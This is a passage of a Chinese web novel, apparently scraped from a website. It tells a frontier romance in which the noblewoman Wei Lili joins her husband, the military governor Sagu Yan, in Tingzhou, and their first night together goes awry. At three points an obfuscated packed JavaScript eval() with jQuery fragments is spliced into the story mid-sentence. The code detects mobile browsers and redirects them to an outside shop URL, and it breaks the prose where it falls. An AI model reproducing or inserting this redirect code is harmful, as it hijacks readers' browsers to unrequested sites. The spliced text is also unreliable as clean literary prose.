他其实没有完全躺在床上,身体斜着,还有小半悬在床外。厚重的外衣脱下,紧束的腰身就显现出来,从平坦的腹部向上,宽厚的胸膛随着呼吸微微起伏。
成亲那日不过草草一瞥,今日相见卫理理才真切感受到他是怎样魁岸,就算只是沾沾床边,也把不算窄的床铺占去大半,只给卫理理留下贴着墙的两尺空隙。两条长腿委委屈屈搭在床下,紧裹住小腿的皮靴只需稍微一伸,就能蹬到床脚的柱子。
军营里吃的什么食物,格外养人不成?卫理理见过不少胡人,也没几个像他这样雄伟的。
视线上移,床边挂的帷幔挡住从窗户挤进来的月光,他的脸向外偏,隐在阴影中,看不分明。
卫理理撑起身向他俯去,刚一动作,那人就抢先一步动起来,卫理理瞬间僵在原地。
许是睡得不舒服,男人向里翻身。床上空间本就不多,他一翻身,几要钻进卫理理怀里。偏生还有一条手臂也不老实,沉甸甸搭在她身上,把她压得动弹不得。
这人,莫不是铜浇铁铸,不过一条手臂,怎就这般沉。
卫理理咬着下唇,羞赧悄悄爬上她心头。
他的手臂放的不巧,隔着被子卡在她腰间,下垂的手指似有似无地蹭在被子上,指尖那端,就是卫理理腰下圆润的嫩白细肉,只等他收拢手指,就能将这一团软香握在手中。
卫理理僵直着身体,不敢挪动分毫,连呼吸都放轻,生怕她一动就与他撞在一处。
杏子可千万不要这时候进来,他虽是她夫君,与陌生外男也没什么差别,这样的姿势,叫人瞧见,多难为情。
不知是深夜过于寂静令人心慌,还是天气太冷让人畏寒,卫理理总感觉有炽热的气息洒在她胸前,床帐中的每一处都被男子的体温烘烤得烫人。
她低头去看,黑漆漆的床帐中安静得只能听到她自己的呼吸声,一双如捕食野兽般幽亮而狠厉的眼睛悄然睁开,正对上她的视线。
“唔。”
视线倒转,卫理理甚至来不及说点什么,眼前就只剩一片黑暗。
被绞在一起的手臂痛得要逼出泪水,她的头被死死按在锦枕中,别说转动,连呼吸都变得艰难。
“说,哪里来的!”
冰冷的声音响起,握着她手臂的手又收紧几分,捏得卫理理骨头生疼。
委屈几乎一瞬间将她吞没,她千里迢迢来到庭州,他就这样对待她。
“萨孤延!”卫理理顾不得直呼姓名有多不尊重,她气急败坏地怒吼,“你混蛋!”
有些耳熟的声音让萨孤延愣住,莫名想起成亲那日从喜扇后传出的一句尾音轻巧、甜腻得仿佛刚从蜜罐中捞出的“郎君万福”。
他犹疑着松开掐在女子后颈上的手,捏着她的下巴强令她转头。影影绰绰的月光下一截凝脂似的脖颈,小巧柔软到令人怜惜的泛红耳垂,还有隐在耳后一颗难以察觉的红痣。
是她!
萨孤延的心砰砰乱跳,是她。
她不是该在青州吗,怎么会到苦寒贫瘠的庭州,又怎么会几近赤裸的在他床上?
昏暗的光线掩不住一身凝白的皮肉,娇滴滴的贵女像落入陷阱的小鹿一般无助又可怜地横陈在锦缎中,无济于事地挣扎着,一下又一下把自己送入他的手心。
萨孤延逃也似的放开卫理理,慌乱又狼狈地跳下床。反扭的手臂获得自由,可是一动就疼,卫理理满腹委屈无处发泄,趴在枕头上一声不吭。
背对着床的萨孤延隐约听见身后有悉悉索索的声音,暗自琢磨自己刚刚那一下怕是伤她不轻,回过头打算说些安慰的话,谁想入眼就是两条光裸手臂,惊得他忙不迭又背过身去,语无伦次说着:“你,你怎么……天冷,你多穿些,别着凉。”
卫理理又气又好笑,她本来被子盖得好好的,一点也冻不着,是谁压住她的被子害她挪不动,又是谁把她从被子里揪出来,难不成还是她自己上赶着吃痛挨冻吗?他倒好,净说些没心肝的话。
卫理理本不想理他,自去摸了被子蔽体。刚抓上被角,窗外猛地响起一声呵斥。
“何人在此?”
手上抓空,堆在床上的被子腾空而起,卫理理眼前又是一黑。
“节帅!”
房门被撞开,班识慌慌张张闯进来,不等他向里走,一方红漆木托盘打着旋儿飞来,直冲他后脑。
在军中摸爬滚打多年,这点警觉还是有的,班识当即扭身,抬臂格开木托盘。木头和皮质束臂相碰,发出沉闷的撞击声。班识来不及松懈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284236|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一个细瓷容器已紧随红漆托盘飞来。他抬起另一边胳膊挡开,一挡之下容器盖子敞开,兜头浇下一瓢黏腻汤水,淋了他满头满脸。
班识抹去眼上汤水,再睁眼时拳头已至面门,他扭住来人的手腕侧身避开,三两下就缠斗起来。
卫理理听着外面乱七八糟的动静,两手乱刨,终于见到光亮,伸出手想掀开蒙在她身上的被子看看情形。她手刚伸出去,又一样厚重的东西飞来,重新将她裹在里面,甚至还扭上几圈,把她罩得严严实实。
卫理理这下明白,外面那男人就不想让她露出一星半点。既如此她也不再动作,老老实实趴在枕上装死,免得那男人不知道又拿些什么来缠她。
“大胆歹人,竟敢擅闯节度使府邸!”此前呵斥过的声音再次响起,一名女子提着裙摆跳进屋内。
外间和里间隔着纱幔,看不真切,但与班识打斗之人和后来人都是年轻女子。若说先前打斗那人萨孤延还拿不准,但看到如今这位与打斗女子一般无二的装束,萨孤延哪里还不明白她们身份,这两人大概是床上那位身边服侍的人。
他顿觉头疼,回趟府邸,怎么就闹成这样。
“住手!”
听到节帅命令,班识毫不犹豫停下。桃桃在屋内转一圈刚寻到一个趁手的花瓶,见歹人站住不动,想都没想一抡胳膊就冲着歹人脑袋砸下。
瓷瓶哗啦落地,班识“哎呦”一声抱着脑袋蹲在地上,抬眼一瞄,却见那瞧上去和和气气的圆脸女子已经寻着第二个花瓶抱起来,骇得班识连忙求救:“节帅!”
帐中有人!杏子灰蓝色的眼睛眯起,那男人挡在床前,看不见县主身影。
她探身揪住班识后衣领,反手卸下他腰间刀子抵在他颈上,冲着帐中人喊道:“你若识相,我可放你同你弟兄离开,若不识相,留心他性命。”
萨孤延目光变得冰冷,唇角抿起。刚刚班识已经喊破他身份,这侍女却依旧将他当恶贼看待,还用班识的性命来威胁他,究竟是一心护主还是根本轻视于他?
班识在突厥骑前都没怕过,这时候是真的怕。死在沙场还能论个英雄,他要真在节帅房中被人莫名用小刀抹了脖子算怎么回事儿,下去见到以前的弟兄他都抬不起头。
“节帅。”他委屈地冲帐中喊着,希望节帅就救救他。
帷幔后的男人一言不发,气氛诡异地凝滞起来。
听到桃桃和杏子的声音,窝在被子里的卫理理终于弄懂外面发生什么。桃桃和杏子都是唯她命是从,成亲时主持婚仪的是宫里来的人,她们也不曾近距离看过萨孤延的模样,就算有人称他节帅,事关她的安危,桃桃和杏子绝不敢轻易相信。
“这是忠武将军行左武侯中郎将、安西节度使、伊丽道行军大总管,不得无礼。”卫理理开口替萨孤延解围。
听到一长串名号,萨孤延浓眉挑起。这样严谨工整的称呼,只有在呈给圣人的奏疏中会用到,她倒是生分。
得知卫理理无事,杏子将刀子递还,隔着纱幔跟桃桃一起给萨孤延行礼。
萨孤延不耐烦地挥手:“出去。”
班识捡回一条小命,虽然还没搞清情况,可他听得出节帅语气不善,一刻也不敢多待,扭头就走。
班识离开,卫理理终于被允许爬出来透口气,她长叹一声,瞄着黑夜中那冷硬的背影,无奈吩咐道:“先出去吧。”
房门轻轻闭合,屋里只剩下她和他。
5. 第 5 章
黑夜回归寂静,男人背对她,把月光挡个严实。房中的暖炭还没熄,却化不开他身上寒气,卫理理蜷起手脚,缩在他的影子中。
“你……”男人率先开口,“早些歇息。”说罢他捞起外裳,头也不回离开。
月光重新洒在床上,卫理理扯过锦被,围住身体。
“县主。”桃桃叩门进入,房中的灯依次点亮,杏子手脚麻利地收拾地上的狼籍。
纱帷挂起,内室里卫理理散着头发拥着被坐在床上,眼角红红的似是哭过,脸颊也一片通红,煞是可怜。
“叫梅子拿些药来。”
他征战多年,见惯厮杀,虽收着手劲,也不是卫理理能承受的,被他捏过的地方热辣辣的疼。
桃桃取下兔毛披风给卫理理罩上,免得受凉。卫理理伸手欲接,却将桃桃吓一跳。
“哎呀,这是怎么弄的。”桃桃捧起卫理理的手臂,整个小臂和手腕上布满指印,一条条交错着,已经浮起肿色,待明日说不得会变得青紫。
卫理理只知手疼,点上灯才发觉有多严重,好不容易平息的火气再度窜起来,那个不识好歹的,野狗一样,见人就咬。
她抽回手臂,若无其事拉紧披风:“没什么,夜里黑,不当心撞到,用药揉一下就好了。”
那些墙壁木栏又不曾长爪子,怎么可能撞出这样的伤。桃桃心中不信,可是县主既然这样说,那她便不再多嘴,等取来伤药,和梅子一起小心揉搓着。
折腾一番,卫理理睡意全无,唯有太阳穴突突涨疼。她本就水土不服有些体虚,今日又惊又吓,更是疲累,歪在靠枕上闭目养神。
“他人呢?”
桃桃挖一指药膏,先在手心化开,才涂抹在卫理理臂上,低着头用指腹将淤痕揉散。听见问话,她连句称呼也没有,只说:“去了书房。”
来这儿第一天卫理理就把整间小院布置一一看过,这处宅院原是庭州一商户的住宅,后来空置,就被庭州刺史出面租下权作萨孤延在庭州的住处。各处房屋构建说不上多精妙,胜在结实耐用,只是闲置已久,细微处有些破败。萨孤延难得回来,院中只留下一瘸腿男子看管,许多房间早已积尘扬灰,进不得人。
卫理理到此不足五日,将将收拾出卧房和厨房,书房如今还是原先模样。房中倒是有张能让人躺下的榻,想到刚来那日看到的那张榻摇摇欲坠的模样,再比比她方才见着的大块头,卫理理有些为那张榻忧虑,他可别给睡塌咯。
上好药,卫理理一挺身坐起来,问身边几人:“你们可看清他模样?”
几人面面相觑,桃桃犹豫着说:“我去将节度使叫来?”
“不必。”卫理理悻悻然靠回去,总归明天也能见着,不差这一时半刻。这时候再把他叫回来,她自己都觉尴尬。
屋内俱收拾停当,杏子抱来新被褥更换,正要铺床的桃桃惊疑地嘀咕着:“这是何物?”
卫理理顺着她目光看去,床边地上堆着一团旧布,还有一角浅浅搭在床沿不曾滑下。桃桃正要捡起,卫理理抢先一步将那一角抓在手中。
顺着边缘抖开,才看出是件夹绵的厚披风,里面缀着毛皮,外层是洗得褪色的耐磨粗布。在屋中放久了,披风摸着没有外头的寒气,只剩下淡淡的铁锈味。卫理理这才知道他是用什么把自己缠住,她捋顺皮毛,摊开手,手心沾染着一层沙尘。
“是节度使的东西。”她将披风叠起交给桃桃,“着人洗净熨好。”
窗外点点萤黄熄灭,萨孤延离开窗口,摸黑坐在旧榻上。
她应该是歇下了,萨孤延脑内乱成一团,她怎么会突然来到安西呢?这里环境恶劣、百姓少条失教,实在不适合她这等养尊处优养的贵女。
卫理理在夜里难以视物,萨孤延却夜视极好,当他把那女人按在身下时,逐渐泛红的肌肤、柔若无骨的身段、似乎一只手就能覆盖的纤细腰肢、半遮半掩在锦被下的起伏,一切都如此分明,还有那温热的、柔软的触感……
他看向自己的手,常年抓握兵器,手心和指腹全是厚厚的硬茧,就是它们在她身上刮出红痕。
指尖还残留着属于她的味道,清雅浅淡的香味,萨孤延反反复复嗅闻着,分辨这味道与那封信的不同。
那封信的味道,他不喜欢。
未等鸡叫,萨孤延就推开房门。安西比京中亮得晚,加之天冷,连鸡都偷懒。他舀一瓢水简单洗漱,就去后院牵马。
处密部意欲投降,他身为主将,这时候不能不在。要不是昨天庭州刺史三催四催,在处理完处密部归降一事前他不会回来。
胃里烧得心慌,眼前也有些发晕,萨孤延扶着马垂头适应片刻。昨天奔波错过晚食,又是一夜未眠,此刻他全凭意志强撑。若是往常,他也许会去厨房看看有没有果腹之物,但现在厨房怕是有她的人在守火,他不想惊扰她。
“节帅。”
牵马出来,正遇上穿戴整齐的班识。
“节帅昨夜睡得可好?”班识笑嘻嘻去牵马,一边走边问,“我昨日去问老孙头,原来是嫂嫂来了。”
他探头觑着萨孤延脸色,调笑道:“节帅怎么一脸倦容,莫不是一夜未睡?”
萨孤延瞪他一眼,没说话。
班识显得很兴奋,自顾自说个不停:“早知是嫂嫂,我该去见礼才是。还有嫂嫂身边的姐姐,当真好身手,招式凌厉得很。”
她身份贵重,一人行走在外,身边有会武的侍女相随也属平常。萨孤延默默听着,一言不发。
“对了,”班识说着说着想起一事,“昨晚嫂嫂身边的姐姐给我送了药,还送来炭盆和新被褥。我还怕我莽撞得罪嫂嫂,没想到嫂嫂不但不计较,还怕我睡冷床受冻。嫂嫂如此贤惠,节帅好福气啊。”
好福气吗?他可是坐了一晚上空无一物的旧榻,听了一晚上呼啸的冷风。萨孤延眯起眼睛,安排人照料班识,却故意冷着他,这女人,身上软,脾气倒硬。
他叫住班识:“你留在这儿,如有什么吩咐你就听着。”
她初来乍到,身边如果没有对当地熟悉的人,行事多有不便。庭州府的人,他信不过。
“还有,叫下面的人把各处城门看牢,切勿让可疑人员进入。”想了想,他多补上一句,“尤其是淄州来的,不许放进来。”
班识嘴上应着,眼睁睁看节帅扬长而去,不解地挠挠下巴,淄州离这里有近万里路,谁会来?
卫理理起床时已是巳时,正梳妆着,杏子来禀班识在外等候。
她刚从桃桃嘴里听完昨夜的惊险,因而笑着问:“他脑袋可还好?”
杏子想了想,说:“看着没什么。”
“那就好。”要是第一回见面就把他的人打傻了,她还得想法儿周旋,“他呢?”
桃桃跟杏子对视一眼,由桃桃回道:“节度使已经回军中。”
卫理理挑选钗环的手顿住,不可思议地瞪大眼睛:“走了?什么时候?”
“一大早就走了,没跟当值的人说,我问过班小队才知晓。”杏子低着头答。
好歹也是夫妻,他回军中竟然也不给她留句话,白长一张嘴,却是个哑巴。卫理理摸着珠钗上莹润的南珠,越想越亏,早知道他要走,昨天就该把他叫回来好好瞧瞧他长什么模样。
把珠钗递给桃桃,卫理理吩咐:“摆饭吧,叫那位……”
“班识。”杏子提醒道。
“对,班识,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284237|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
叫他一同用饭。”
班识正襟危坐,两眼死死盯着自己面前的小桌,旁的一点不敢多看。
听见县主唤他一起用饭,他第一反应是叫节帅知道会不会砍了他的脑袋。他就该死皮赖脸跟着节帅走,这下好了,不吃,辜负嫂嫂好意,吃,他怎么跟节帅交代。
他左挪右腾,屁股长针一样。许是屋里原来留下的胡人用具多,县主摆饭用的都是高桌和胡椅。军中吃饭没讲究,行军途中更是速战速决,或倚着马扒两口,或席地而坐。班识一个小队正,也见不着什么大人物,每日里就跟军中弟兄一起吃用,叫他跪坐他还能坐一时片刻,坐胡椅他是真的手脚都不知该往哪儿放。
卫理理权当没看见班识的拘束,有一搭没一搭跟他聊天:“军中是有什么重要事吗?节度使怎么招呼都不打就回去了?”
班识低着头琢磨嫂嫂的语气,听着不像欢喜的样子,想来嫂嫂是不满节帅把她丢下,嫌节帅冷落她。他连忙替萨孤延解释:“节帅心中惦记县主,今早走时还对县主大为不舍。实在是边关有要事,处密部要归降,这几日在谈交接,正是关键时候,节帅不得不赶回去。”
怕卫理理不信,他还特意补充道:“节帅临走前将我留下供县主差遣,还命城门点检的人都机灵些,千万别放进不该进的人冲撞县主。”
班识的后半句卫理理半点不信,他昨晚在她房里总共没说五句话,还能睡一觉就学会体贴人?
不过他人哑巴,动作却快,来的路上还没听过任何关于庭州用兵的传闻,不想他竟已经扫平处密部。
卫理理用细匙搅动润喉的甜汤:“城管过所检对不是归使君管吗,怎么还得节度使亲自派人?”
这事问得有些敏感,班识能在萨孤延身边有一席之地,也不是蠢人,只跟卫理理装傻:“这不是怕那些张狂的欺使君心软好说话,蓄意闯关。军中的人镇着,有什么宵小自然不敢靠前,也免得使君为难。”
话说得好听,卫理理不深究,转而说起旁的事:“节度使什么时候回来?”
班识在心中算了一会儿才回答:“最早也得三五日。”
看来处密部归降一事基本已谈好,只剩最后接收,最多三日,给圣人的军报就该从庭州送出去。只是若知他要走,昨日就把披风还他。
“这么大的事,可要禀报圣人?”卫理理眨着眼睛,似是好奇。
“已经告知使君,想来使君应该在拟奏本。”班识飞快瞄一眼卫理理神色,自觉失言,忙找补说,“平日里有什么军情大事都是节帅亲自拟本上奏,只是这次处密部族人众多,需要暂时编入庭州管理,这才由使君上报。我们节帅虽是行伍出身,但是文墨俱佳,不说金榜提名,也是文采斐然。”
“嗤。”桃桃眼观鼻鼻观心,死命压住嘴角。
卫理理虽不像桃桃那样直接,眼中也隐有笑意。就冲他身边人这两句拙劣的夸奖,他本人的文采高明不到哪儿去。
她挥挥手叫人上菜,几名女婢排成一排,由梅子带着进入室内,各类荤素碗碟摆了七八样。
班识原还怕县主吃的食物精细,他不识得不会吃闹笑话,等摆齐,不过四样菜、一份肉汤、一份粥水、一份酥油奶茶,还有一碟子胡饼,想来是县主入乡随俗,为照顾他饮食口味特意安排的。
班识对这位县主嫂嫂的好感顿时又多几分。
更有两道素菜都是新鲜时蔬,庭州少见。军中干菜都稀罕,班识已经许久不曾吃过鲜菜,瞧见青翠的鲜蔬挪不开眼,听见县主让他随意吃,抄起筷子就对着青菜伸去。
卫理理笑眯眯看着班识满心满眼都是吃食的样子,眼见他筷尖夹上菜蔬,幽幽开口:“上次的节礼,怎么处置的?”
6. 第 6 章
离京中远有远的好处,既不用严守规制一家子挤在官衙,也不必像京官那样天不亮就去当值。
庭州刺史所住宅邸庭院俱全,既有胡人装饰,又有汉人风格。天刚刚放亮,几名小胡奴就提着水桶扫帚打扫,厨房里也咕嘟咕嘟冒出白烟,看着比冷冷清清的节度使邸热闹许多。
身穿翻领服、戴着胡帽和耳衣的男子脚步匆匆从洒扫的奴仆中穿过,直奔书房而去。
书案上铺着空白奏本,庭州刺史穿着一身轻便裘衣坐在桌前,一手扶额,一手缓缓敲击桌面。
“他昨晚留宿邸中,就没什么异常?”
立在堂中的人摘下胡帽耳衣抓在手中,回禀道:“没有。”
“一早就走了?”
见属下答是,庭州刺史心里犯嘀咕。都说小别胜新婚,这萨孤延怎么天不亮又回去了?莫非是那金枝玉叶生得不入眼,不讨他欢心?
昨日他拉着萨孤延对账,对到最后萨孤延突然告诉他处密部来降,叫他安排人接收处密部的族人,顺便把给圣人的奏报写了。
这么大的事儿能是顺便的吗?萨孤延从蒲牢关出兵,招呼都不打一声就把处密部解决,他这个父母官倒成了最后知情的人。蒲牢关也是庭州地界,归他这位使君管理,大队人马进出他却一点消息都没得到,俨然已成萨孤延的私地。
再者前日他从府衙调出一队人送去节度使邸,被客客气气退回来,说是县主自家养着护院,外面的人用不惯。
庭州刺史拍着额头,只觉头大如斗。来了位我行我素的主将已经很让他为难,现在又多了位金尊玉贵的县主,小小的庭州城还不知能不能容下这两尊大佛呢。
……
筷尖悬在菜叶上,要落不落,班识眼珠子不由自主地震颤,拼命从脑中搜罗能应对的话语。
“县主送的节礼自然是上好,只是军中用不上,就收在库房中。”话刚出口,班识就恨不得给自己一嘴巴,这不是嫌嫂嫂送的东西不得用。
他急忙陪笑:“是节帅不舍得用,这才收起来。县主不知节帅收到节礼时有多欣喜,我们碰一下都不行,怕我等粗人手糙碰坏了,还是节帅亲自收入库房的。”
卫理理似笑非笑:“欣喜?”
班识重重点头:“欣喜,万分欣喜。”别管节帅笑没笑,这时候说节帅喜欢准没错。
“没想到他这般喜欢那份礼。”卫理理慢悠悠拉长语调,“既如此就别锁在库房闲置,去将那布匹取出来为节度使裁衣,墨就拿去军中使用,至于那摆屏……”
她环视一圈,抬手指向一进门正对的多宝格,笑盈盈地盯着班识:“就放这里,你看如何?”
班识哪敢看,他脑门直冒汗。本以为说在库房能敷衍过去,谁料嫂嫂当场就要开库房。
青州来的节礼最开始确实被节帅收进库房中,可是后来不知怎的节帅看那些东西分外碍眼,先是说统统丢掉,他跟曹骠劝着这是嫂嫂的心意,就算不用也该认真对待,结果越劝越毛。最终那些节礼倒是没扔,全被节帅变卖,换来的银子用于给蒲类县百姓施粮。
班识僵在原地,艰难地咽口水。他就说不能卖不能卖,节帅怎么也劝不听。蒲类县是因为征战错过播种,导致无粮可用。可安置百姓是庭州刺史的活儿,刺史哭穷也是跟圣人哭去,与他们也说不着。
这下好了,他上哪儿再把那堆稀罕玩意儿变出来?
想了许久,也没想出个应对之策,班识不敢叫县主空等,实在无法,只能实话实话:“东西都没了。”
没了这个词很巧妙,卫理理双手交叠垫在下颌,身体微微前倾,把班识的动作神情尽收眼底:“说说看,怎么没的?”
不是班识不想替萨孤延遮掩,实在是他读书不多想不出达官贵人们的文雅主意。
“蒲类县饥荒,节帅将东西变卖用于赈灾。”
卫理理倒是没想到还有这种理由,蒲类县的饥荒她不曾听闻,不过大战后多有灾荒,蒲类县缺粮不足为奇。
没到需要上报的地步,说明缺粮问题庭州自己就能解决。那个男人,分明是找个借口把那些碍眼的东西清理掉,堂堂一军主帅,也耍这种小心眼?
卫理理暗自好笑,不过偏要做出一副埋怨模样:“节度使要赈灾,没有旁的东西变卖不成,偏要卖那些。”
千里行军,未免行装过重累坏人马,都是能省则省。军粮军晌不能动,毛皮牲口是现缴获,班识还真想不出有什么能变卖的,扒掉军服,节帅好像就只剩一个大活人了。
他两眼一转,一躬到底:“正是县主救蒲类县百姓于水火,若无县主的节礼,只怕蒲类县早已人尽饿死。班识代蒲类百姓深谢县主高义!”
卫理理横他一眼,这小子脑袋灵光,还知道假模假样吹嘘,把她高高架起来。她要再追究,岂不显得她不体恤。
节礼的事算是蒙混过关,等班识起身,她轻轻吐出两个字:“信呢?”
班识正沉浸在对自己绝妙的化解手段的自我欣赏中,冷不丁听见县主发问,一时没反应过来,脱口而出:“什么信?”
卫理理看了他半晌,才说:“你不知道?”
这下班识是真的有点糊涂,他搓搓手,试探说道:“县主可否给点提示,说不定我就想起来了。”
看来他真的不知道,卫理理不再多说,道是自己记错了,示意他用饭。
班识重新做回椅上,长舒一口气,只觉后脖领子里积满一泡汗,湿漉漉的。他抬眼偷偷去瞧县主神情,见县主捏起汤匙慢条斯理地用粥水,看上去不像生气,这才放下心来。
幸亏县主嫂嫂性情好,通情达理,他可记得以前徐小队拿自家女人的首饰去接济朋友,叫徐家嫂嫂挠个满脸花。班识暗暗瞄一眼县主尖尖细指,县主嫂嫂的指甲看起来可比徐家嫂嫂的狠多了。
不管怎么说,今日这关他算是替节帅安稳度过。班识端起酥油奶茶呼噜一大口,热热的咸奶茶落肚,总算找回些鲜活气。
“咳咳。”堂中突兀响起一声轻咳。
班识顿时僵住,颤巍巍放下碗,小心翼翼扭头。县主似乎浑然不觉,正挑起一根青菜慢慢吃着,立在一旁的圆脸侍女则睁大眼睛,远远瞪他。
他认得这张脸,昨晚就是她抡足力气险些将他开瓢,现在班识头上还鼓着大包,被她看一眼都觉得脑袋疼。
奶茶喝不得,喝口粥总行吧。班识端起粥碗,还没吸溜进嘴,又是一声咳嗽。
天祖宗,这饭还让不让人吃。班识求饶一般望向县主,希望好嫂嫂赶紧放他走。
“可是饭菜不合胃口?”卫理理终于开口,仿若不知道他二人之间的机锋,“听闻西域爱用奶茶,我府上厨子是青州人士,不擅做西域吃食,这奶茶是新学的,班小队尝尝可正宗?”
方才就是喝这见鬼的奶茶被那祖宗凶,偏生县主相邀,他不敢不应,只能咬着牙狠下心,抄起奶茶浅浅抿一口。
等了两息,意料中的咳嗽声没有传来。他疑惑抬头,那祖宗却不看他,翻个白眼瞥过脸去。
班识再抿一口,依旧没有咳嗽声,他心中隐约有猜测,端起粥碗依样抿食。
堂中静悄悄的,除了匙碗碰撞再无他声。
这下他终于明了,忍不住在心中感叹,尊贵人都是规矩多,嫌他吃饭声音大,说一声就是,三番四次吓他作甚。以后他可再不陪嫂嫂吃饭,这样的美差还是让节帅消受去吧。
弯月挂上天空,庭州今年还未下雪,夜风已经吼得吓人。
卫理理今天连房门都没怎么出,昨晚那人弄得她浑身都疼,她连动都不想动。夜间泡过澡,刚换上轻便的寝衣,就听见杏子来禀,节度使回来了。
不是要安排处密部归降吗?卫理理探头去看天色,夜已深,庭院里灯火点得亮,照得月亮都避其锋芒。这个时辰,他回来做什么,难不成专回来睡觉的?庭州城离蒲牢关可远呢,或者,他是回来睡……
卫理理想起昨夜握在她手臂上灼人的体温,火炉般热烘烘的,烤得人躁动不安。
她扯下外衣披上,端坐房中,结果没等来预想中的人,只等来一瓶药。
萨孤延在院中见到梅子,虽然不认得,但看穿着打扮,猜着该是她身边伺候的人,便叫住。
梅子上前见礼,手中被塞进一瓶药,嘱咐她拿给县主。不等梅子多问,萨孤延已经抬脚朝书房走去。
“他就只说把药给我,旁的都没说?”卫理理转着药瓶,最便宜常见的竹节瓶子,顶部塞着用布包裹的软木塞。
竹子密封不如陶瓷好,药膏装在里面,会随时间逐渐流失药性。但是行军打仗,陶瓷易碎,军中多用木制或竹制容器。
扒开软塞,浓重的辛辣味道溢出,卫理理用尾指指甲挑出一些,抹在手背上。药膏是深棕色,质地还算细腻,没有劣质药那般碾不碎的粗糙药渣,最开始的辛辣过后,逐渐散发出红花和乳香混杂的味道。
这瓶药不是全新的,膏体边缘有被取用的痕迹,但是药膏填满竹节大半,就算用过也用得不多。军中止血和治跌打损伤的药都是紧俏货,只有不够,从不见剩余,所以就算用不合适的竹制木制容器也不要紧,不等药性丢失,这些药就会被用得一干二净。
他刚扫平处密部,想来军中伤员众多,能留出这样一瓶药送来,也算他有心。
“人呢?”怎么心意送来,人没见着。
梅子捂着嘴笑:“节度使,去书房了。”
书房里的布置与昨晚一般无二,但萨孤延还是敏锐的察觉到不同。家具上的灰尘已经被扫除,地面用水洗过,就连那张旧榻也变了模样。
这张矮榻本是弯腿,与榻面连接处饰有镂空雕花,因年岁久远保存不当,一边木腿上有几处虫蛀痕迹,雕花装饰也多有裂纹,才显得分外陈旧。现下一截木桩垫在原来虫蛀的榻脚处,几块厚实的木板交错着钉在四条腿之间,把悬空的榻下钉得箱笼一般结实。
萨孤延愣怔,她这是什么意思?有这些好木材,重新打一张榻也使得,何必来折腾这张旧榻?
正想着,门口来人一福,口称“将军”。
是在院中遇到的侍女,她自称梅子。梅子垂首低头,模样恭顺:“将军,县主请您过去。”
这处宅院卧房修得阔气,卫理理来后按照自己居住习惯重新布置,增加隔断分作里外间。空间虽化作两半,平日里卫理理和桃桃她们进进出出,也没觉得逼仄不便,待那长腿窄腰的人低头进来,整间屋子仿佛变小几分,怎么看怎么拥挤,连灯光都晦暗许多。
这还是她第一次见着那人模样。他高鼻深目、眉毛浓黑,灯光照不到的阴影中掩着一双琥珀色的眼睛,然而脸上线条不似胡人那般生硬,多了些汉人的柔和,将他眼睛里的凌厉遮去。
若论相貌,当得起一声仪表堂堂。若论身材……
卫理理目光划过他身上厚重的军服。
富贵少年郎喜欢穿半臂,撑起外衫好让自己看起来肩宽些显得英武,他却是不用。军服没有那些花哨,简简单单一件纩衣,外面罩着黑色披袄,藏不住他本就宽阔的肩膀。
卫理理多往他胸前瞄几眼,她还记得昨夜他躺下时那惊人的厚度,以及随着呼吸细微的起伏。
萨孤延喉结滑动,从他进门,县主就一声不吭看他,上下打量的眼神实在太明显,萨孤延不觉生出紧张。
她,是满意,还是不满。
赐婚圣旨上没有她的名字,只有她的名号,定安大长公主之女,卫氏永嘉县主,他是在交换庚帖时才知晓她的姓名。
要说期待,不是没有,红妆下露出的一段雪白,捏着扇柄、白玉雕琢一般的手指,还有那句蜜津津的“郎君万福”。一步一摇的垂珠晃得他恍惚,若不是军务在身,那晚他是真的不想走。
可如今,一封信足以让他认清自己的身份。
见他站在门口不进来,卫理理举起药瓶问他:“节度使将此物送我,却不告诉我有何用途,莫非是要我猜?”
低垂的睫毛被灯光拉出细长的影子,更衬得她一双眼睛狐狸似的,妖妖娆娆勾在他身上。
萨孤延搓动手指,她留下的味道早已消失不见,柔滑的触感好似还留在指间。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284238|198416||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“昨夜是我不对,误伤县主,这是伤药,可以活血化瘀。”
闻言卫理理挑眉,这是什么话,她还能不认得这是药?
“却不知这药该如何用,节度使可愿赐教?”
明知她是在故意戏耍,萨孤延还是顺着她的话回答:“抹于伤处,轻揉至药物渗入。”
细皮嫩肉的,不用药,那些伤有她受的。
问一句,答一句,嘴比蚌壳还紧。卫理理将药推在桌上:“节度使这样讲我也听不懂,不如节度使帮我上药吧。”
萨孤延眼神微动,没回答。
卫理理也不等他,自顾自转过身褪下小半衣领,露出纤细的后颈和半边肩膀,偏头看去。她不信他就真是个属和尚的,打算避她一辈子。
萨孤延确实不吃斋念佛,这女人故意来招他,莫不是忘了,她名义上可是他的女人。
